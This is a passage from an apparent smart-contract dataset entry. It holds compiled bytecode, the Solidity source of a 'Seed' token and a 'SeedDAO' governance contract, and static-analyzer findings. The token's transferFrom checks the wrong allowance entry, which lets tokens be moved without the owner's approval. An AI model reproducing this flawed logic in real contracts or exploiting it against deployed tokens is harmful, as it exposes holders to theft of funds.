} | 0x6080604052366100135761001161001d565b005b61001b61001d565b005b6100256100b6565b61007d6100547f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b61007f565b60000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166100b8565b565b6000819050919050565b60606100ae83836040518060600160405280602781526020016103e1602791396100de565b905092915050565b565b3660008037600080366000845af43d6000803e80600081146100d9573d6000f35b3d6000fd5b60606100e9846101ab565b610128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011f906102b8565b60405180910390fd5b6000808573ffffffffffffffffffffffffffffffffffffffff16856040516101509190610352565b600060405180830381855af49150503d806000811461018b576040519150601f19603f3d011682016040523d82523d6000602084013e610190565b606091505b50915091506101a08282866101ce565b925050509392505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b606083156101de5782905061022e565b6000835111156101f15782518084602001fd5b816040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022591906103be565b60405180910390fd5b9392505050565b600082825260208201905092915050565b7f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60008201527f6e74726163740000000000000000000000000000000000000000000000000000602082015250565b60006102a2602683610235565b91506102ad82610246565b604082019050919050565b600060208201905081810360008301526102d181610295565b9050919050565b600081519050919050565b600081905092915050565b60005b8381101561030c5780820151818401526020810190506102f1565b8381111561031b576000848401525b50505050565b600061032c826102d8565b61033681856102e3565b93506103468185602086016102ee565b80840191505092915050565b600061035e8284610321565b915081905092915050565b600081519050919050565b6000601f19601f8301169050919050565b600061039082610369565b61039a8185610235565b93506103aa8185602086016102ee565b6103b381610374565b840191505092915050565b600060208201905081810360008301526103d88184610385565b90509291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220e6319319c476e660f2a1b55a4fc3c2d5663f6dfad8d388a6b1a1e5bc21edcf4064736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,633 |
0x05b5db99f390aba70b444d394be25f6074d7ac5a | pragma solidity 0.7.0;
interface IOwnershipTransferrable {
function transferOwnership(address owner) external;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
abstract contract Ownable is IOwnershipTransferrable {
address private _owner;
constructor(address owner) {
_owner = owner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) override external onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Seed is Ownable {
using SafeMath for uint256;
uint256 constant UINT256_MAX = ~uint256(0);
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() Ownable(msg.sender) {
_totalSupply = 1000000 * 1e18;
_name = "Seed";
_symbol = "SEED";
_decimals = 18;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint8) {
return _decimals;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[msg.sender][sender] != UINT256_MAX) {
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
}
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function mint(address account, uint256 amount) external onlyOwner {
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function burn(uint256 amount) external returns (bool) {
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(msg.sender, address(0), amount);
return true;
}
}
abstract contract ReentrancyGuard {
bool private _entered;
modifier noReentrancy() {
require(!_entered);
_entered = true;
_;
_entered = false;
}
}
interface ISeedStake is IOwnershipTransferrable {
event StakeIncreased(address indexed staker, uint256 amount);
event StakeDecreased(address indexed staker, uint256 amount);
event Rewards(address indexed staker, uint256 mintage, uint256 developerFund);
event MelodyAdded(address indexed melody);
event MelodyRemoved(address indexed melody);
function seed() external returns (address);
function totalStaked() external returns (uint256);
function staked(address staker) external returns (uint256);
function lastClaim(address staker) external returns (uint256);
function addMelody(address melody) external;
function removeMelody(address melody) external;
function upgrade(address owned, address upgraded) external;
}
contract SeedDAO is ReentrancyGuard {
using SafeMath for uint256;
// Proposal fee of 10 SEED. Used to prevent spam
uint256 constant PROPOSAL_FEE = 10 * 1e18;
event NewProposal(uint64 indexed proposal);
event FundProposed(uint64 indexed proposal, address indexed destination, uint256 amount);
event MelodyAdditionProposed(uint64 indexed proposal, address melody);
event MelodyRemovalProposed(uint64 indexed proposal, address melody);
event StakeUpgradeProposed(uint64 indexed proposal, address newStake);
event DAOUpgradeProposed(uint64 indexed proposal, address newDAO);
event ProposalVoteAdded(uint64 indexed proposal, address indexed staker);
event ProposalVoteRemoved(uint64 indexed proposal, address indexed staker);
event ProposalPassed(uint64 indexed proposal);
event ProposalRemoved(uint64 indexed proposal);
enum ProposalType { Null, Fund, MelodyAddition, MelodyRemoval, StakeUpgrade, DAOUpgrade }
struct ProposalMetadata {
ProposalType pType;
// Allows the creator to withdraw the proposal
address creator;
// Used to mark proposals older than 30 days as invalid
uint256 submitted;
// Stakers who voted yes
mapping(address => bool) stakers;
// Whether or not the proposal is completed
// Stops it from being acted on multiple times
bool completed;
}
// The info string is intended for an URL to describe the proposal
struct FundProposal {
address destination;
uint256 amount;
string info;
}
struct MelodyAdditionProposal {
address melody;
string info;
}
struct MelodyRemovalProposal {
address melody;
string info;
}
struct StakeUpgradeProposal {
address newStake;
// List of addresses owned by the Stake contract
address[] owned;
string info;
}
struct DAOUpgradeProposal {
address newDAO;
string info;
}
mapping(uint64 => ProposalMetadata) public proposals;
mapping(uint64 => mapping(address => bool)) public used;
mapping(uint64 => FundProposal) public _fundProposals;
mapping(uint64 => MelodyAdditionProposal) public _melodyAdditionProposals;
mapping(uint64 => MelodyRemovalProposal) public _melodyRemovalProposals;
mapping(uint64 => StakeUpgradeProposal) public _stakeUpgradeProposals;
mapping(uint64 => DAOUpgradeProposal) public _daoUpgradeProposals;
// Address of the DAO we upgraded to
address _upgrade;
// ID to use for the next proposal
uint64 _nextProposalID;
ISeedStake private _stake;
Seed private _SEED;
// Check the proposal is valid
modifier pendingProposal(uint64 proposal) {
require(proposals[proposal].pType != ProposalType.Null);
require(!proposals[proposal].completed);
// Don't allow old proposals to suddenly be claimed
require(proposals[proposal].submitted + 30 days > block.timestamp);
_;
}
// Check this contract hasn't been replaced
modifier active() {
require(_upgrade == address(0));
_;
}
constructor(address stake) {
_stake = ISeedStake(stake);
_SEED = Seed(_stake.seed());
}
function upgraded() external view returns (bool) {
return _upgrade != address(0);
}
function upgrade() external view returns (address) {
return _upgrade;
}
function stake() external view returns (address) {
return address(_stake);
}
function _createNewProposal(ProposalType pType) internal active returns (uint64) {
// Make sure this isn't spam by transferring the proposal fee
require(_SEED.transferFrom(msg.sender, address(this), PROPOSAL_FEE));
// Increment the next proposal ID now
// Means we don't have to return a value we subtract one from later
_nextProposalID += 1;
emit NewProposal(_nextProposalID);
// Set up the proposal's metadata
ProposalMetadata storage meta = proposals[_nextProposalID];
meta.pType = pType;
meta.creator = msg.sender;
meta.submitted = block.timestamp;
// Automatically vote for the proposal's creator
meta.stakers[msg.sender] = true;
emit ProposalVoteAdded(_nextProposalID, msg.sender);
return _nextProposalID;
}
function proposeFund(address destination, uint256 amount, string calldata info) external returns (uint64) {
uint64 proposalID = _createNewProposal(ProposalType.Fund);
_fundProposals[proposalID] = FundProposal(destination, amount, info);
emit FundProposed(proposalID, destination, amount);
return proposalID;
}
function proposeMelodyAddition(address melody, string calldata info) external returns (uint64) {
uint64 proposalID = _createNewProposal(ProposalType.MelodyAddition);
_melodyAdditionProposals[proposalID] = MelodyAdditionProposal(melody, info);
emit MelodyAdditionProposed(proposalID, melody);
return proposalID;
}
function proposeMelodyRemoval(address melody, string calldata info) external returns (uint64) {
uint64 proposalID = _createNewProposal(ProposalType.MelodyRemoval);
_melodyRemovalProposals[proposalID] = MelodyRemovalProposal(melody, info);
emit MelodyRemovalProposed(proposalID, melody);
return proposalID;
}
function proposeStakeUpgrade(address newStake, address[] calldata owned, string calldata info) external returns (uint64) {
uint64 proposalID = _createNewProposal(ProposalType.StakeUpgrade);
// Ensure the SEED token was included as an owned contract
for (uint i = 0; i < owned.length; i++) {
if (owned[i] == address(_SEED)) {
break;
}
require(i != owned.length - 1);
}
_stakeUpgradeProposals[proposalID] = StakeUpgradeProposal(newStake, owned, info);
emit StakeUpgradeProposed(proposalID, newStake);
return proposalID;
}
function proposeDAOUpgrade(address newDAO, string calldata info) external returns (uint64) {
uint64 proposalID = _createNewProposal(ProposalType.DAOUpgrade);
_daoUpgradeProposals[proposalID] = DAOUpgradeProposal(newDAO, info);
emit DAOUpgradeProposed(proposalID, newDAO);
return proposalID;
}
function addVote(uint64 proposalID) external active pendingProposal(proposalID) {
proposals[proposalID].stakers[msg.sender] = true;
emit ProposalVoteAdded(proposalID, msg.sender);
}
function removeVote(uint64 proposalID) external active pendingProposal(proposalID) {
proposals[proposalID].stakers[msg.sender] = false;
emit ProposalVoteRemoved(proposalID, msg.sender);
}
// Send the SEED held by this contract to what it upgraded to
// Intended to enable a contract like the timelock, if transferred to this
// Without this, it'd be trapped here, forever
function forwardSEED() public {
require(_upgrade != address(0));
require(_SEED.transfer(_upgrade, _SEED.balanceOf(address(this))));
}
// Complete a proposal
// Takes in a list of stakers so this contract doesn't have to track them all in an array
// This would be extremely expensive as a stakers vote weight can drop to 0
// This selective process allows only counting meaningful votes
function completeProposal(uint64 proposalID, address[] calldata stakers) external active pendingProposal(proposalID) noReentrancy {
ProposalMetadata storage meta = proposals[proposalID];
uint256 requirement;
// Only require a majority vote for a funding request/to remove a melody
if ((meta.pType == ProposalType.Fund) || (meta.pType == ProposalType.MelodyRemoval)) {
requirement = _stake.totalStaked().div(2).add(1);
// Require >66% to add a new melody
// Adding an insecure or malicious melody will cause the staking pool to be drained
} else if (meta.pType == ProposalType.MelodyAddition) {
requirement = _stake.totalStaked().div(3).mul(2).add(1);
// Require >80% to upgrade the stake/DAO contract
// Upgrading to an insecure or malicious contract risks unlimited minting
} else if ((meta.pType == ProposalType.StakeUpgrade) || (meta.pType == ProposalType.DAOUpgrade)) {
requirement = _stake.totalStaked().div(5).mul(4).add(1);
// Panic in case the enum is expanded and not properly handled here
} else {
require(false);
}
// Make sure there's enough vote weight behind this proposal
uint256 votes = 0;
for (uint i = 0; i < stakers.length; i++) {
// Don't allow people to vote with flash loans
if (_stake.lastClaim(stakers[i]) == block.timestamp) {
continue;
}
require(meta.stakers[stakers[i]]);
require(!used[proposalID][stakers[i]]);
used[proposalID][stakers[i]] = true;
votes = votes.add(_stake.staked(stakers[i]));
}
require(votes >= requirement);
meta.completed = true;
emit ProposalPassed(proposalID);
if (meta.pType == ProposalType.Fund) {
FundProposal memory proposal = _fundProposals[proposalID];
require(_SEED.transfer(proposal.destination, proposal.amount));
} else if (meta.pType == ProposalType.MelodyAddition) {
_stake.addMelody(_melodyAdditionProposals[proposalID].melody);
} else if (meta.pType == ProposalType.MelodyRemoval) {
_stake.removeMelody(_melodyRemovalProposals[proposalID].melody);
} else if (meta.pType == ProposalType.StakeUpgrade) {
StakeUpgradeProposal memory proposal = _stakeUpgradeProposals[proposalID];
for (uint i = 0; i < proposal.owned.length; i++) {
_stake.upgrade(proposal.owned[i], proposal.newStake);
}
// Register the new staking contract as a melody so it can move the funds over
_stake.addMelody(address(proposal.newStake));
_stake = ISeedStake(proposal.newStake);
} else if (meta.pType == ProposalType.DAOUpgrade) {
_upgrade = _daoUpgradeProposals[proposalID].newDAO;
_stake.transferOwnership(_upgrade);
forwardSEED();
} else {
require(false);
}
}
// Voluntarily withdraw a proposal
function withdrawProposal(uint64 proposalID) external active pendingProposal(proposalID) {
require(proposals[proposalID].creator == msg.sender);
proposals[proposalID].completed = true;
emit ProposalRemoved(proposalID);
}
}
| 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80637e8de02e116100ad578063d55ec69711610071578063d55ec697146106c2578063d979c4aa146106ca578063da6aaeab146106f0578063df7400cb14610716578063eb1ea9c6146107945761012c565b80637e8de02e146105b657806380a5bdfb146105dc578063a76cf56e14610602578063c28de2cd14610628578063d37b7fa6146106445761012c565b8063433a5a69116100f4578063433a5a69146103a25780634c01cb57146103aa5780636bda20341461045857806371fb7cf11461050d5780637586d6ce146105905761012c565b8063198743561461013157806319db3f2a146101cb5780631d6ec3561461024b57806331c5eec8146103195780633a4b66f11461037e575b600080fd5b6101af6004803603604081101561014757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561017157600080fd5b82018360208201111561018357600080fd5b803590602001918460018302840111600160201b831117156101a457600080fd5b5090925090506107c9565b604080516001600160401b039092168252519081900360200190f35b610249600480360360408110156101e157600080fd5b6001600160401b038235169190810190604081016020820135600160201b81111561020b57600080fd5b82018360208201111561021d57600080fd5b803590602001918460208302840111600160201b8311171561023e57600080fd5b5090925090506108ca565b005b6101af6004803603606081101561026157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561028b57600080fd5b82018360208201111561029d57600080fd5b803590602001918460208302840111600160201b831117156102be57600080fd5b919390929091602081019035600160201b8111156102db57600080fd5b8201836020820111156102ed57600080fd5b803590602001918460018302840111600160201b8311171561030e57600080fd5b509092509050611403565b61033f6004803603602081101561032f57600080fd5b50356001600160401b03166115bb565b6040518085600581111561034f57fe5b81526001600160a01b039094166020850152506040808401929092521515606083015251908190036080019150f35b6103866115f2565b604080516001600160a01b039092168252519081900360200190f35b610249611601565b6103d0600480360360208110156103c057600080fd5b50356001600160401b0316611720565b60405180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561041c578181015183820152602001610404565b50505050905090810190601f1680156104495780820380516001836020036101000a031916815260200191505b50935050505060405180910390f35b61047e6004803603602081101561046e57600080fd5b50356001600160401b03166117d4565b60405180846001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156104d05781810151838201526020016104b8565b50505050905090810190601f1680156104fd5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b6101af6004803603606081101561052357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561055257600080fd5b82018360208201111561056457600080fd5b803590602001918460018302840111600160201b8311171561058557600080fd5b50909250905061188a565b610249600480360360208110156105a657600080fd5b50356001600160401b03166119a1565b610249600480360360208110156105cc57600080fd5b50356001600160401b0316611ac9565b6103d0600480360360208110156105f257600080fd5b50356001600160401b0316611bc9565b6102496004803603602081101561061857600080fd5b50356001600160401b0316611c48565b610630611d4d565b604080519115158252519081900360200190f35b6101af6004803603604081101561065a57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561068457600080fd5b82018360208201111561069657600080fd5b803590602001918460018302840111600160201b831117156106b757600080fd5b509092509050611d5e565b610386611e5f565b6103d0600480360360208110156106e057600080fd5b50356001600160401b0316611e6e565b6103d06004803603602081101561070657600080fd5b50356001600160401b0316611ee9565b6101af6004803603604081101561072c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561075657600080fd5b82018360208201111561076857600080fd5b803590602001918460018302840111600160201b8311171561078957600080fd5b509092509050611f68565b610630600480360360408110156107aa57600080fd5b5080356001600160401b031690602001356001600160a01b0316612069565b6000806107d66003612089565b90506040518060400160405280866001600160a01b0316815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b0384168152600560209081526040909120835181546001600160a01b0319166001600160a01b039091161781558382015180519193506108789260018501929101906122db565b5050604080516001600160a01b038816815290516001600160401b03841692507f339826f1c3d7b31c2395903a0738e18e4c9463f3d6749d47e35a9feb2344e8db9181900360200190a2949350505050565b6008546001600160a01b0316156108e057600080fd5b8260006001600160401b03821660009081526001602052604090205460ff16600581111561090a57fe5b141561091557600080fd5b6001600160401b03811660009081526001602052604090206003015460ff161561093e57600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d009091011161096d57600080fd5b60005460ff161561097d57600080fd5b6000805460ff1916600190811782556001600160401b03861682526020819052604082209190825460ff1660058111156109b357fe5b14806109ce57506003825460ff1660058111156109cc57fe5b145b15610a6c57610a656001610a5f6002600960009054906101000a90046001600160a01b03166001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610a2d57600080fd5b505af1158015610a41573d6000803e3d6000fd5b505050506040513d6020811015610a5757600080fd5b505190612277565b9061229b565b9050610b7a565b6002825460ff166005811115610a7e57fe5b1415610ae957610a656001610a5f6002610ae36003600960009054906101000a90046001600160a01b03166001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610a2d57600080fd5b906122b4565b6004825460ff166005811115610afb57fe5b1480610b1657506005825460ff166005811115610b1457fe5b145b1561012c57610a656001610a5f6004610ae36005600960009054906101000a90046001600160a01b03166001600160a01b031663817b1cd26040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610a2d57600080fd5b6000805b85811015610dc55760095442906001600160a01b0316635c16e15e898985818110610ba557fe5b905060200201356001600160a01b03166040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b158015610bf457600080fd5b505af1158015610c08573d6000803e3d6000fd5b505050506040513d6020811015610c1e57600080fd5b50511415610c2b57610dbd565b836002016000888884818110610c3d57fe5b602090810292909201356001600160a01b03168352508101919091526040016000205460ff16610c6c57600080fd5b6001600160401b038816600090815260026020526040812090888884818110610c9157fe5b602090810292909201356001600160a01b03168352508101919091526040016000205460ff1615610cc157600080fd5b6001600160401b0388166000908152600260205260408120600191898985818110610ce857fe5b6001600160a01b0360209182029390930135831684528301939093526040909101600020805493151560ff199094169390931790925550600954610dba91166398807d84898985818110610d3857fe5b905060200201356001600160a01b03166040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b158015610d8757600080fd5b505af1158015610d9b573d6000803e3d6000fd5b505050506040513d6020811015610db157600080fd5b5051839061229b565b91505b600101610b7e565b5081811015610dd357600080fd5b60038301805460ff191660011790556040516001600160401b038816907f6085cc60943f0b976690a6f940d11a998d1a616c9469dc9196e763e342ca583f90600090a26001835460ff166005811115610e2857fe5b1415610f9f57610e36612359565b6001600160401b038816600090815260036020908152604091829020825160608101845281546001600160a01b03168152600180830154828501526002808401805487516101009482161594909402600019011691909104601f81018690048602830186018752808352929593949386019391929091830182828015610efd5780601f10610ed257610100808354040283529160200191610efd565b820191906000526020600020905b815481529060010190602001808311610ee057829003601f168201915b505050919092525050600a5482516020808501516040805163a9059cbb60e01b81526001600160a01b039485166004820152602481019290925251959650919092169363a9059cbb9350604480830193928290030181600087803b158015610f6457600080fd5b505af1158015610f78573d6000803e3d6000fd5b505050506040513d6020811015610f8e57600080fd5b5051610f9957600080fd5b506113f0565b6002835460ff166005811115610fb157fe5b141561103a576009546001600160401b038816600090815260046020819052604080832054815163791cbf9f60e11b81526001600160a01b0391821693810193909352905193169263f2397f3e9260248084019391929182900301818387803b15801561101d57600080fd5b505af1158015611031573d6000803e3d6000fd5b505050506113f0565b6003835460ff16600581111561104c57fe5b14156110b4576009546001600160401b0388166000908152600560205260408082205481516316d4489b60e11b81526001600160a01b0391821660048201529151931692632da891369260248084019391929182900301818387803b15801561101d57600080fd5b6004835460ff1660058111156110c657fe5b1415611341576110d4612383565b6001600160401b038816600090815260066020908152604091829020825160608101845281546001600160a01b031681526001820180548551818602810186019096528086529194929385810193929083018282801561115d57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161113f575b5050509183525050600282810180546040805160206001841615610100026000190190931694909404601f810183900483028501830190915280845293810193908301828280156111ef5780601f106111c4576101008083540402835291602001916111ef565b820191906000526020600020905b8154815290600101906020018083116111d257829003601f168201915b505050505081525050905060005b8160200151518110156112b157600954602083015180516001600160a01b03909216916399a88ec491908490811061123157fe5b602002602001015184600001516040518363ffffffff1660e01b815260040180836001600160a01b03168152602001826001600160a01b0316815260200192505050600060405180830381600087803b15801561128d57600080fd5b505af11580156112a1573d6000803e3d6000fd5b5050600190920191506111fd9050565b5060095481516040805163791cbf9f60e11b81526001600160a01b0392831660048201529051919092169163f2397f3e91602480830192600092919082900301818387803b15801561130257600080fd5b505af1158015611316573d6000803e3d6000fd5b50509151600980546001600160a01b0319166001600160a01b03909216919091179055506113f09050565b6005835460ff16600581111561135357fe5b141561012c576001600160401b03871660009081526007602052604080822054600880546001600160a01b0319166001600160a01b039283161790819055600954835163f2fde38b60e01b815291831660048301529251929091169263f2fde38b9260248084019382900301818387803b1580156113d057600080fd5b505af11580156113e4573d6000803e3d6000fd5b505050506113f0611601565b50506000805460ff191690555050505050565b6000806114106004612089565b905060005b8581101561147257600a546001600160a01b031687878381811061143557fe5b905060200201356001600160a01b03166001600160a01b0316141561145957611472565b600019860181141561146a57600080fd5b600101611415565b506040518060600160405280886001600160a01b03168152602001878780806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250505090825250604080516020601f88018190048102820181019092528681529181019190879087908190840183828082843760009201829052509390945250506001600160401b0384168152600660209081526040909120835181546001600160a01b0319166001600160a01b0390911617815583820151805191935061154b9260018501929101906123ad565b50604082015180516115679160028401916020909101906122db565b5050604080516001600160a01b038a16815290516001600160401b03841692507ffd08ecdf1b11b329fffd11e68af1d1f874ca2e56aa45a1e13065e6cc26373b2c9181900360200190a29695505050505050565b600160208190526000918252604090912080549181015460039091015460ff8084169361010090046001600160a01b031692911684565b6009546001600160a01b031690565b6008546001600160a01b031661161657600080fd5b600a54600854604080516370a0823160e01b815230600482015290516001600160a01b039384169363a9059cbb93169184916370a0823191602480820192602092909190829003018186803b15801561166e57600080fd5b505afa158015611682573d6000803e3d6000fd5b505050506040513d602081101561169857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156116e957600080fd5b505af11580156116fd573d6000803e3d6000fd5b505050506040513d602081101561171357600080fd5b505161171e57600080fd5b565b6004602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b820191906000526020600020905b8154815290600101906020018083116117ad57829003601f168201915b5050505050905082565b60036020908152600091825260409182902080546001808301546002808501805488516101009582161595909502600019011691909104601f81018790048702840187019097528683526001600160a01b039093169590949192918301828280156118805780601f1061185557610100808354040283529160200191611880565b820191906000526020600020905b81548152906001019060200180831161186357829003601f168201915b5050505050905083565b6000806118976001612089565b90506040518060600160405280876001600160a01b0316815260200186815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b038416815260036020908152604091829020845181546001600160a01b0319166001600160a01b0390911617815584820151600182015591840151805192935061194b92600285019291909101906122db565b50506040805187815290516001600160a01b03891692506001600160401b038416917fc6befa0284988cf06a62f33e703b26fa8fe104aff100ff179eb9b02174018530919081900360200190a395945050505050565b6008546001600160a01b0316156119b757600080fd5b8060006001600160401b03821660009081526001602052604090205460ff1660058111156119e157fe5b14156119ec57600080fd5b6001600160401b03811660009081526001602052604090206003015460ff1615611a1557600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d0090910111611a4457600080fd5b6001600160401b03821660009081526001602052604090205461010090046001600160a01b03163314611a7657600080fd5b6001600160401b0382166000818152600160208190526040808320600301805460ff1916909217909155517f9253f303ac7bc301d8f26a3c594cf868be86bee4afd53c746f29cc0103a4274f9190a25050565b6008546001600160a01b031615611adf57600080fd5b8060006001600160401b03821660009081526001602052604090205460ff166005811115611b0957fe5b1415611b1457600080fd5b6001600160401b03811660009081526001602052604090206003015460ff1615611b3d57600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d0090910111611b6c57600080fd5b6001600160401b0382166000818152600160209081526040808320338085526002909101909252808320805460ff19169055519092917f55b02b9855e513ee8f9281215332c8cf0f8304cadcdca4e1b3910609797103e691a35050565b6005602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b6008546001600160a01b031615611c5e57600080fd5b8060006001600160401b03821660009081526001602052604090205460ff166005811115611c8857fe5b1415611c9357600080fd5b6001600160401b03811660009081526001602052604090206003015460ff1615611cbc57600080fd5b6001600160401b038116600090815260016020819052604090912001544262278d0090910111611ceb57600080fd5b6001600160401b0382166000818152600160208181526040808420338086526002909101909252808420805460ff191690931790925590519092917fc7442600edbdac0b51781946ea453c6ec64fba32dc76e7e711cbe79a15ec5fec91a35050565b6008546001600160a01b0316151590565b600080611d6b6002612089565b90506040518060400160405280866001600160a01b0316815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b0384168152600460209081526040909120835181546001600160a01b0319166001600160a01b03909116178155838201518051919350611e0d9260018501929101906122db565b5050604080516001600160a01b038816815290516001600160401b03841692507f29cd6c86b51064508c60d447e776b80d8c6f25603856be845b6a2abe192a00779181900360200190a2949350505050565b6008546001600160a01b031690565b60066020908152600091825260409182902080546002808301805486516101006001831615026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b6007602090815260009182526040918290208054600180830180548651600261010094831615949094026000190190911692909204601f81018690048602830186019096528582526001600160a01b039092169492939092908301828280156117ca5780601f1061179f576101008083540402835291602001916117ca565b600080611f756005612089565b90506040518060400160405280866001600160a01b0316815260200185858080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509390945250506001600160401b0384168152600760209081526040909120835181546001600160a01b0319166001600160a01b039091161781558382015180519193506120179260018501929101906122db565b5050604080516001600160a01b038816815290516001600160401b03841692507f29ff7ec46662ba30200783e0d6cbe17047c2ab7058785f9d441e8b21a88e25749181900360200190a2949350505050565b600260209081526000928352604080842090915290825290205460ff1681565b6008546000906001600160a01b0316156120a257600080fd5b600a54604080516323b872dd60e01b8152336004820152306024820152678ac7230489e80000604482015290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561210357600080fd5b505af1158015612117573d6000803e3d6000fd5b505050506040513d602081101561212d57600080fd5b505161213857600080fd5b600880546001600160401b03600160a01b80830482166001018216810267ffffffffffffffff60a01b19909316929092179283905560405191909204909116907fe1c41d4ba86fb17ee8e9f88a333876ca22e0d2940c46a544405bb18a6b932a5c90600090a2600854600160a01b90046001600160401b03166000908152600160208190526040909120805490918491839160ff19909116908360058111156121dd57fe5b02179055508054610100600160a81b031916336101008102919091178255426001808401919091556000828152600284016020526040808220805460ff19169093179092556008549151600160a01b9092046001600160401b0316917fc7442600edbdac0b51781946ea453c6ec64fba32dc76e7e711cbe79a15ec5fec9190a35050600854600160a01b90046001600160401b0316919050565b600080821161228557600080fd5b600082848161229057fe5b049150505b92915050565b6000828201838110156122ad57600080fd5b9392505050565b6000826122c357506000612295565b828202828482816122d057fe5b04146122ad57600080fd5b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061231c57805160ff1916838001178555612349565b82800160010185558215612349579182015b8281111561234957825182559160200191906001019061232e565b5061235592915061240e565b5090565b604051806060016040528060006001600160a01b0316815260200160008152602001606081525090565b604051806060016040528060006001600160a01b0316815260200160608152602001606081525090565b828054828255906000526020600020908101928215612402579160200282015b8281111561240257825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906123cd565b50612355929150612423565b5b80821115612355576000815560010161240f565b5b808211156123555780546001600160a01b031916815560010161242456fea26469706673582212203b1c0d178642e512cac49570aeb1cc34fd0c49b1f5798a5074df852c1c0d648364736f6c63430007000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": 